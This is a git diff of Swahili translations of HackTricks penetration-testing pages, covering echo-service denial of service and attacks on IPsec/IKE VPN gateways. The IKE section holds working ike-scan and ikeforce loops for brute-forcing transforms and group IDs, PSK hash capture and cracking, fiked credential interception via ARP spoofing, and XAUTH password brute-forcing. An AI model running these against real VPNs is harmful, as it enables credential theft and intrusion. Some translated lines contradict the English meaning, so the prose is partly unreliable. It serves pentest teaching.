* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -23,8 +23,8 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
# Taarifa Msingi
|
||||
|
||||
Kuna huduma ya kielekezi inayofanya kazi kwenye mwenyeji huyu. Huduma ya kielekezi ilikusudiwa kwa ajili ya majaribio na kupimwa na inaweza kusikiliza kwenye itifaki za TCP na UDP. Mfumo hutoa nyuma data yoyote inayopokea, bila kuihariri.\
|
||||
**Inawezekana kusababisha kukataliwa kwa huduma kwa kuunganisha huduma ya kielekezi kwenye huduma ya kielekezi kwenye mashine hiyo hiyo au nyingine**. Kwa sababu ya idadi kubwa sana ya pakiti zinazozalishwa, mashine zilizoathiriwa zinaweza kuondolewa kwa ufanisi kutoka kwenye huduma.\
|
||||
Huduma ya kielekezi inaendeshwa kwenye mwenyeji huyu. Huduma ya kielekezi ilikusudiwa kwa ajili ya majaribio na madhumuni ya kupima na inaweza kusikiliza kwenye itifaki za TCP na UDP. Mfumo hutoa nyuma data yoyote inayopokea, bila kufanyiwa mabadiliko.\
|
||||
**Inawezekana kusababisha kukataliwa kwa huduma kwa kuunganisha huduma ya kielekezi kwenye huduma ya kielekezi kwenye mashine ile ile au nyingine**. Kwa sababu ya idadi kubwa sana ya pakiti zinazozalishwa, mashine zilizoathiriwa zinaweza kuondolewa kwa ufanisi kutoka kwenye huduma.\
|
||||
Maelezo kutoka [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**Bandari ya Default:** 7/tcp/udp
|
||||
|
@ -52,13 +52,13 @@ Hello echo #This is the response
|
|||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
@ -66,6 +66,6 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,17 +24,17 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Taarifa Msingi
|
||||
|
||||
**IPsec** inatambuliwa sana kama teknolojia kuu ya kuhakikisha mawasiliano kati ya mitandao (LAN-to-LAN) na kutoka kwa watumiaji wa mbali hadi kwenye lango la mtandao (upatikanaji wa mbali), ikitumika kama msingi wa suluhisho za VPN za biashara.
|
||||
**IPsec** inatambuliwa sana kama teknolojia kuu ya kusimamia mawasiliano kati ya mitandao (LAN-kwa-LAN) na kutoka kwa watumiaji wa mbali hadi lango la mtandao (upatikanaji wa mbali), ikitumika kama msingi wa suluhisho za VPN za biashara.
|
||||
|
||||
Kuanzishwa kwa **umoja wa usalama (SA)** kati ya sehemu mbili hukamilishwa na **IKE**, ambayo hufanya kazi chini ya bendera ya ISAKMP, itifaki iliyoundwa kwa ajili ya uwakalaishaji na kubadilishana funguo. Mchakato huu hufanyika katika hatua kadhaa:
|
||||
|
||||
- **Hatua ya 1:** Kituo salama huanzishwa kati ya sehemu mbili. Hii hufanikiwa kupitia matumizi ya Kitufe cha Kwanza-Kushirikiwa (PSK) au vyeti, ikichukua njia ya mode kuu, ambayo inahusisha jozi tatu za ujumbe, au **mode ya kujitokeza**.
|
||||
- **Hatua ya 1:** Kituo salama huanzishwa kati ya sehemu mbili. Hii hufanikishwa kupitia matumizi ya Pre-Shared Key (PSK) au vyeti, ikichukua njia ya mode kuu, ambayo inahusisha jozi tatu za ujumbe, au **mode ya kushambulia**.
|
||||
- **Hatua ya 1.5:** Ingawa sio lazima, hatua hii, inayojulikana kama Hatua ya Uthibitishaji wa Kipekee, inathibitisha utambulisho wa mtumiaji anayejaribu kuunganisha kwa kuhitaji jina la mtumiaji na nywila.
|
||||
- **Hatua ya 2:** Hatua hii inajitolea kwa majadiliano ya vigezo vya kuhakikisha data na **ESP** na **AH**. Inaruhusu matumizi ya algorithms tofauti na zile katika Hatua ya 1 kuhakikisha **Usiri wa Mbele Kamili (PFS)**, kuimarisha usalama.
|
||||
- **Hatua ya 2:** Hatua hii inajitolea kwa majadiliano ya vigezo vya kusimamia data na **ESP** na **AH**. Inaruhusu matumizi ya algorithms tofauti na zile katika Hatua ya 1 kuhakikisha **Usiri wa Mbele Kamili (PFS)**, kuimarisha usalama.
|
||||
|
||||
**Bandari ya chaguo:** 500/udp
|
||||
**Bandari ya default:** 500/udp
|
||||
|
||||
## **Gundua** huduma kwa kutumia nmap
|
||||
## **Gundua** huduma kutumia nmap
|
||||
```
|
||||
root@bt:~# nmap -sU -p 500 172.16.21.200
|
||||
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
||||
|
@ -50,7 +50,7 @@ Usanidi wa IPSec unaweza kuandaliwa tu kukubali ubadilishaji mmoja au kadhaa. Ub
|
|||
|
||||
Kwa hivyo, jambo la kwanza unalopaswa kufanya ni **kupata ubadilishaji halali**, ili server itaweza kuzungumza nawe. Kufanya hivyo, unaweza kutumia zana ya **ike-scan**. Kwa chaguo-msingi, Ike-scan hufanya kazi katika mode kuu, na kutuma pakiti kwa lango na kichwa cha ISAKMP na pendekezo moja na **ubadilishaji nane ndani yake**.
|
||||
|
||||
Kulingana na majibu unaweza kupata habari fulani kuhusu mwisho wa mawasiliano:
|
||||
Kulingana na majibu unayoweza kupata habari kuhusu mwisho:
|
||||
```
|
||||
root@bt:~# ike-scan -M 172.16.21.200
|
||||
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
||||
|
@ -61,12 +61,12 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
|||
|
||||
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
||||
```
|
||||
Kama unavyoona kwenye jibu lililopita, kuna uga unaitwa **AUTH** wenye thamani ya **PSK**. Hii inamaanisha kuwa vpn imeboreshwa kutumia funguo zilizoshirikishwa mapema (na hii ni nzuri sana kwa mpentesta).\
|
||||
Kama unavyoona kwenye jibu lililopita, kuna uga unaitwa **AUTH** wenye thamani ya **PSK**. Hii inamaanisha kuwa vpn imeboreshwa kutumia ufunguo uliopangwa mapema (na hii ni nzuri sana kwa mpentesta).\
|
||||
**Thamani ya mstari wa mwisho pia ni muhimu sana:**
|
||||
|
||||
* _0 returned handshake; 0 returned notify:_ Hii inamaanisha lengo sio **geti la IPsec**.
|
||||
* _0 returned handshake; 0 returned notify:_ Hii inamaanisha lengo si **geti la IPsec**.
|
||||
* _**1 returned handshake; 0 returned notify:**_ Hii inamaanisha kuwa **lengo limeboreshwa kwa IPsec na iko tayari kufanya mazungumzo ya IKE, na moja au zaidi ya mabadiliko uliyopendekeza ni ya kukubalika** (mabadiliko sahihi yataonyeshwa kwenye matokeo).
|
||||
* _0 returned handshake; 1 returned notify:_ Geti za VPN hujibu kwa ujumbe wa arifu wakati **hakuna mabadiliko yanayokubalika** (ingawa baadhi ya geti hazifanyi hivyo, katika kesi hiyo uchambuzi zaidi na pendekezo lililorekebishwa inapaswa kujaribiwa).
|
||||
* _0 returned handshake; 1 returned notify:_ Geti za VPN hujibu kwa ujumbe wa arifu wakati **hakuna mabadiliko yanayokubalika** (ingawa baadhi ya geti hazifanyi hivyo, katika kesi hiyo uchambuzi zaidi na pendekezo lililorekebishwa inapaswa kujaribu).
|
||||
|
||||
Kwa hivyo, katika kesi hii tayari tuna mabadiliko sahihi lakini ikiwa uko kwenye kesi ya 3, basi unahitaji **kufanya jaribio kidogo ili kupata mabadiliko sahihi:**
|
||||
|
||||
|
@ -74,30 +74,30 @@ Kwanza kabisa unahitaji kuunda mabadiliko yote yanayowezekana:
|
|||
```bash
|
||||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||||
```
|
||||
Na kisha jaribu kila moja kwa kutumia ike-scan (hii inaweza kuchukua dakika kadhaa):
|
||||
Na kisha jaribu kuvunja kila moja kutumia ike-scan (hii inaweza kuchukua dakika kadhaa):
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
Ikiwa jaribio la nguvu halikufanya kazi, labda server inajibu bila mikono hata kwa mabadiliko halali. Kisha, unaweza kujaribu jaribio hilo hilo la nguvu lakini ukitumia mode ya ukali:
|
||||
Ikiwa jaribio la nguvu halikufanya kazi, labda server inajibu bila mikono hata kwa mabadiliko halali. Kisha, unaweza kujaribu jaribio hilo hilo la nguvu lakini ukitumia mode ya kushambulia:
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
Natumai **ubadilishaji halali unarudishwa**.\
|
||||
Unaweza jaribu **shambulio sawa** ukitumia [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
|
||||
Unaweza jaribu **shambulio sawa** kutumia [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
|
||||
Pia unaweza jaribu kubadilisha nguvu za ubadilishaji na [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
||||
```bash
|
||||
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
||||
```
|
||||
![](<../.gitbook/assets/image (109).png>)
|
||||
|
||||
Katika **Kikundi cha DH: 14 = MODP ya biti 2048** na **15 = biti 3072**\
|
||||
Katika **Kikundi cha DH: 14 = MODP ya 2048-bit** na **15 = 3072-bit**\
|
||||
**2 = HMAC-SHA = SHA1 (katika kesi hii). Muundo wa `--trans` ni $Enc,$Hash,$Auth,$DH**
|
||||
|
||||
Cisco inapendekeza kuepuka kutumia vikundi vya DH 1 na 2 kwa sababu sio imara vya kutosha. Wataalam wanaamini kwamba **nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja** neno la siri la data inayotumia vikundi hivi dhaifu. Hii hufanywa kwa kutumia njia maalum inayowawezesha kuvunja nambari haraka. Ingawa inagharimu pesa nyingi kuweka njia hii, inawaruhusu nchi hizi zenye nguvu kusoma data iliyosimbwa kwa wakati halisi ikiwa inatumia kikundi kisichokuwa imara (kama 1,024-bit au chini).
|
||||
Cisco inapendekeza kuepuka kutumia vikundi vya DH 1 na 2 kwa sababu sio imara vya kutosha. Wataalam wanaamini kwamba **nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja** usimbaji wa data unayotumia vikundi hivi dhaifu. Hii hufanywa kwa kutumia njia maalum inayowawezesha kuvunja nambari haraka. Ingawa inagharimu pesa nyingi kuweka njia hii, inawaruhusu nchi hizi zenye nguvu kusoma data iliyosimbwa kwa wakati halisi ikiwa inatumia kikundi ambacho sio imara (kama 1,024-bit au chini).
|
||||
|
||||
### Uchunguzi wa Fingerprint ya Seva
|
||||
|
||||
Kisha, unaweza kutumia ike-scan kujaribu **kugundua muuzaji** wa kifaa. Zana hiyo hutoa pendekezo la awali na kuacha kujibu. Kisha, ita**chambua** tofauti ya **wakati** kati ya **ujumbe** uliopokelewa kutoka kwa seva na mfano wa majibu yanayolingana, mpentesta anaweza kufanikiwa kugundua muuzaji wa lango la VPN. Zaidi ya hayo, baadhi ya seva za VPN zitatumia **malipo ya Kitambulisho cha Muuzaji (VID)** ya hiari pamoja na IKE.
|
||||
Kisha, unaweza kutumia ike-scan kujaribu **kugundua muuzaji** wa kifaa. Zana hiyo hutoa pendekezo la awali na kuacha kujibu. Kisha, ita**chambua** tofauti ya **wakati** kati ya **ujumbe** uliopokelewa kutoka kwa seva na mfano sahihi wa majibu, mpentesta anaweza kufanikiwa kugundua muuzaji wa lango la VPN. Zaidi ya hayo, baadhi ya seva za VPN zitatumia **malipo ya Kitambulisho cha Muuzaji (VID)** ya hiari pamoja na IKE.
|
||||
|
||||
**Taja uongofu halali ikihitajika** (kutumia --trans)
|
||||
|
||||
|
@ -125,7 +125,7 @@ Hii inaweza pia kufanikishwa na skripti ya nmap _**ike-version**_
|
|||
|
||||
## Kupata ID sahihi (jina la kikundi)
|
||||
|
||||
Ili kuruhusiwa kukamata hash unahitaji uongofu halali unaounga mkono Aggressive mode na ID sahihi (jina la kikundi). Labda hutajua jina sahihi la kikundi, hivyo utalazimika kulazimisha kujaribu.\
|
||||
Ili kuruhusiwa kukamata hash unahitaji uongofu halali unaounga mkono Mode ya Kusukuma na ID sahihi (jina la kikundi). Labda hutajua jina sahihi la kikundi, hivyo utalazimika kulazimisha kujaribu.\
|
||||
Kufanya hivyo, ningependekeza njia 2:
|
||||
|
||||
### Kulazimisha ID na ike-scan
|
||||
|
@ -134,13 +134,13 @@ Kwanza kabisa jaribu kutuma ombi na ID bandia ukijaribu kukusanya hash ("-P"):
|
|||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
Ikiwa **hashi haijarejeshwa**, basi labda njia hii ya kufanya nguvu kazi itafanya kazi. **Ikiwa hashi fulani imerejeshwa, hii inamaanisha kwamba hashi bandia itatumwa kwa kitambulisho bandia, kwa hivyo njia hii haitakuwa ya kuaminika** kufanya nguvu kazi ya kitambulisho. Kwa mfano, hashi bandia inaweza kurudishwa (hii hutokea katika toleo za kisasa):
|
||||
Ikiwa **hashi haijarejeshwa**, basi labda njia hii ya kufanya nguvu kazi itafanya kazi. **Ikiwa hashi fulani imerejeshwa, hii inamaanisha kwamba hashi bandia itatumwa kwa ID bandia, kwa hivyo njia hii haitakuwa ya kuaminika** kufanya nguvu kazi ya ID. Kwa mfano, hashi bandia inaweza kurudishwa (hii hutokea katika toleo za kisasa):
|
||||
|
||||
![](<../.gitbook/assets/image (110).png>)
|
||||
|
||||
Lakini kama nilivyosema, ikiwa hakuna hashi inayorejeshwa, basi unapaswa jaribu kufanya nguvu kazi ya majina ya vikundi vya kawaida kwa kutumia ike-scan.
|
||||
Lakini ikiwa kama nilivyosema, hakuna hashi inayorejeshwa, basi unapaswa jaribu kufanya nguvu kazi ya majina ya vikundi vya kawaida kwa kutumia ike-scan.
|
||||
|
||||
Script hii **itajaribu kufanya nguvu kazi ya vitambulisho vinavyowezekana** na itarejesha vitambulisho ambapo mkono wa salamu halali unarejeshwa (hii itakuwa jina halali la kikundi).
|
||||
Script hii **itajaribu kufanya nguvu kazi ya IDs zinazowezekana** na itarejesha IDs ambapo handshake halali imerejeshwa (hii itakuwa jina halali la kikundi).
|
||||
|
||||
Ikiwa umegundua ubadilishaji maalum, ongeza katika amri ya ike-scan. Na ikiwa umegundua ubadilishaji kadhaa, jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja yao ifanye kazi vizuri).
|
||||
|
||||
|
@ -154,15 +154,15 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
|
|||
|
||||
### Kuvunja ID kwa ikeforce
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ni chombo kinachoweza kutumika kwa **kuvunja nguvu IDs pia**. Chombo hiki kitajaribu **kutumia udhaifu tofauti** ambao unaweza kutumiwa **kutofautisha kati ya ID halali na isiyo halali** (inaweza kuwa na matokeo sahihi na matokeo yasiyo sahihi, ndio maana napendelea kutumia njia ya ike-scan ikiwezekana).
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ni chombo kinachoweza kutumika kwa **kuvunja nguvu IDs pia**. Chombo hiki kitajaribu **kutumia mapungufu tofauti** ambayo yanaweza kutumika **kutofautisha kati ya ID halali na isiyo halali** (inaweza kuwa na matokeo sahihi na matokeo yasiyo sahihi, ndio maana napendelea kutumia njia ya ike-scan ikiwezekana).
|
||||
|
||||
Kwa chaguo-msingi **ikeforce** itatuma mwanzoni baadhi ya vitambulisho vya kubahatisha kuchunguza tabia ya seva na kubaini mkakati wa kutumia.
|
||||
|
||||
* **Njia ya kwanza** ni kuvunja nguvu majina ya vikundi kwa **kutafuta** habari ya **Dead Peer Detection DPD** ya mifumo ya Cisco (habari hii inajibiwa tu na seva ikiwa jina la kundi ni sahihi).
|
||||
* **Njia ya kwanza** ni kuvunja nguvu majina ya vikundi kwa **kutafuta** habari ya **Dead Peer Detection DPD** ya mifumo ya Cisco (habari hii inajibiwa tu na seva ikiwa jina la kikundi ni sahihi).
|
||||
* **Njia ya pili** inapatikana ni **kuangalia idadi ya majibu yaliyotumwa kwa kila jaribio** kwa sababu mara nyingine pakiti zaidi hutumwa wakati kitambulisho sahihi kinatumika.
|
||||
* **Njia ya tatu** inajumuisha **kutafuta "INVALID-ID-INFORMATION" kama jibu kwa ID isiyo sahihi**.
|
||||
* Hatimaye, ikiwa seva haionyeshi chochote kwa ukaguzi, **ikeforce** itajaribu kuvunja nguvu seva na kuangalia ikiwa kitambulisho sahihi kikitumwa seva itajibu na pakiti fulani.\
|
||||
Kwa dhahiri, lengo la kuvunja nguvu kitambulisho ni kupata **PSK** unapokuwa na kitambulisho halali. Kisha, na **kitambulisho** na **PSK** utalazimika kuvunja nguvu XAUTH (ikiwa imewezeshwa).
|
||||
Kwa dhahiri, lengo la kuvunja nguvu kitambulisho ni kupata **PSK** unapokuwa na kitambulisho halali. Kisha, na **kitambulisho** na **PSK** utalazimika kuvunja nguvu XAUTH (ikiwa imezimwa).
|
||||
|
||||
Ikiwa umegundua ubadilishaji maalum, ongeza katika amri ya ikeforce. Na ikiwa umegundua ubadilishaji kadhaa, jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja itakapofanya kazi ipasavyo).
|
||||
```bash
|
||||
|
@ -187,18 +187,18 @@ ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported
|
|||
```
|
||||
Hash itahifadhiwa ndani ya _hash.txt_.
|
||||
|
||||
Unaweza kutumia **psk-crack**, **john** (ukiitumia [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) na **hashcat** kwa **kuvunja** hash:
|
||||
Unaweza kutumia **psk-crack**, **john** (ukitumia [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) na **hashcat** kwa kusudi la **kuvunja** hash:
|
||||
```bash
|
||||
psk-crack -d <Wordlist_path> psk.txt
|
||||
```
|
||||
## **XAuth**
|
||||
|
||||
**Aggressive mode IKE** iliyochanganywa na **Pre-Shared Key (PSK)** mara nyingi hutumiwa kwa madhumuni ya **uthibitishaji wa kikundi**. Njia hii inaboreshwa na **XAuth (Uthibitishaji Uliopanuliwa)**, ambao hutumika kuongeza safu ya ziada ya **uthibitishaji wa mtumiaji**. Uthibitishaji kama huo kawaida hutegemea huduma kama **Microsoft Active Directory**, **RADIUS**, au mifumo inayofanana.
|
||||
**Aggressive mode IKE** inayounganishwa na **Pre-Shared Key (PSK)** mara nyingi hutumiwa kwa madhumuni ya **uthibitishaji wa kikundi**. Mbinu hii inaboreshwa na **XAuth (Uthibitishaji Uliopanuliwa)**, ambao hutumika kuongeza safu ya ziada ya **uthibitishaji wa mtumiaji**. Uthibitishaji kama huo kawaida hutegemea huduma kama **Microsoft Active Directory**, **RADIUS**, au mifumo inayofanana.
|
||||
|
||||
Kuongeza **IKEv2**, mabadiliko muhimu yanaweza kuonekana ambapo **EAP (Itifaki ya Uthibitishaji Inayoweza Kupanuliwa)** inatumika badala ya **XAuth** kwa madhumuni ya kuthibitisha watumiaji. Mabadiliko haya yanasisitiza mabadiliko katika mazoea ya uthibitishaji ndani ya itifaki za mawasiliano salama.
|
||||
Kuongezeka kwa **IKEv2**, mabadiliko muhimu yanazingatiwa ambapo **EAP (Itifaki ya Uthibitishaji Inayoweza Kupanuliwa)** hutumiwa badala ya **XAuth** kwa lengo la kuthibitisha watumiaji. Mabadiliko haya yanasisitiza mabadiliko katika mazoea ya uthibitishaji ndani ya itifaki za mawasiliano salama.
|
||||
|
||||
|
||||
### MitM ya mtandao wa ndani kwa kukamata siri
|
||||
### MitM ya mtandao wa ndani kwa kukamata siri za kuingia
|
||||
|
||||
Hivyo unaweza kukamata data ya kuingia kwa kutumia _fiked_ na kuona ikiwa kuna jina la mtumiaji la msingi (Unahitaji kuelekeza trafiki ya IKE kwa `fiked` kwa kunusa, ambayo inaweza kufanywa kwa msaada wa ARP spoofing, [maelezo zaidi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked itafanya kazi kama mwisho wa VPN na itakamata siri za XAuth:
|
||||
```bash
|
||||
|
@ -208,15 +208,15 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
|||
|
||||
Kutumia **IPSec** jaribu kufanya shambulio la kati (MitM) na kuzuia trafiki yote kwenye bandari 500, ikiwa handaki la **IPSec** halitaweza kuanzishwa labda trafiki itatumwa wazi.
|
||||
|
||||
Kutumia **ikeforce** unaweza kuvunja nguvu **XAUTH** (unapojua jina la kikundi cha **id** halali na **psk**) unaweza kutumia jina la mtumiaji au orodha ya majina ya watumiaji na orodha ya nywila:
|
||||
Kwa kuvunja nguvu **XAUTH** (unapojua jina la kikundi cha **id** halali na **psk**) unaweza kutumia jina la mtumiaji au orodha ya majina ya watumiaji na orodha ya nywila:
|
||||
```bash
|
||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||
```
|
||||
Hivi, ikeforce itajaribu kuunganisha kwa kutumia kila mchanganyiko wa jina la mtumiaji: nenosiri.
|
||||
|
||||
Ikiwa umepata moja au zaidi ya mabadiliko sahihi basi itumie kama ilivyokuwa katika hatua zilizopita.
|
||||
Ikiwa umepata moja au zaidi ya mabadiliko sahihi, zitumie kama ilivyokuwa katika hatua zilizopita.
|
||||
|
||||
## Uthibitisho kwa kutumia VPN ya IPSEC
|
||||
## Uthibitisho na VPN ya IPSEC
|
||||
|
||||
Katika Kali, **VPNC** hutumiwa kuanzisha mizunguko ya IPsec. **Mipangilio** lazima iwekwe katika saraka `/etc/vpnc/`. Unaweza kuanzisha mipangilio hii kwa kutumia amri _**vpnc**_.
|
||||
|
||||
|
@ -236,7 +236,7 @@ root@system:~# ifconfig tun0
|
|||
```
|
||||
Katika usanidi huu:
|
||||
|
||||
- Badilisha `[VPN_GATEWAY_IP]` na anwani halisi ya IP ya lango la VPN.
|
||||
- Badilisha `[VPN_GATEWAY_IP]` na anwani halisi ya IP ya mlango wa VPN.
|
||||
- Badilisha `[VPN_CONNECTION_ID]` na kitambulisho cha uhusiano wa VPN.
|
||||
- Badilisha `[VPN_GROUP_SECRET]` na siri ya kikundi cha VPN.
|
||||
- Badilisha `[VPN_USERNAME]` na `[VPN_PASSWORD]` na sifa za uthibitishaji wa VPN.
|
||||
|
@ -247,7 +247,7 @@ Hakikisha thamani halisi na salama zinatumika kuchukua nafasi ya nafasi wakati w
|
|||
## Vifaa vya Marejeleo
|
||||
|
||||
* [Karatasi ya kuvunja PSK](http://www.ernw.de/download/pskattack.pdf)
|
||||
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
||||
* [Usalama wa Infocus wa SecurityFocus](http://www.securityfocus.com/infocus/1821)
|
||||
* [Kuchunguza Utekelezaji wa VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
||||
* Tathmini ya Usalama wa Mtandao ya Toleo la 3
|
||||
|
||||
|
@ -257,7 +257,7 @@ Hakikisha thamani halisi na salama zinatumika kuchukua nafasi ya nafasi wakati w
|
|||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -267,10 +267,10 @@ Hakikisha thamani halisi na salama zinatumika kuchukua nafasi ya nafasi wakati w
|
|||
|
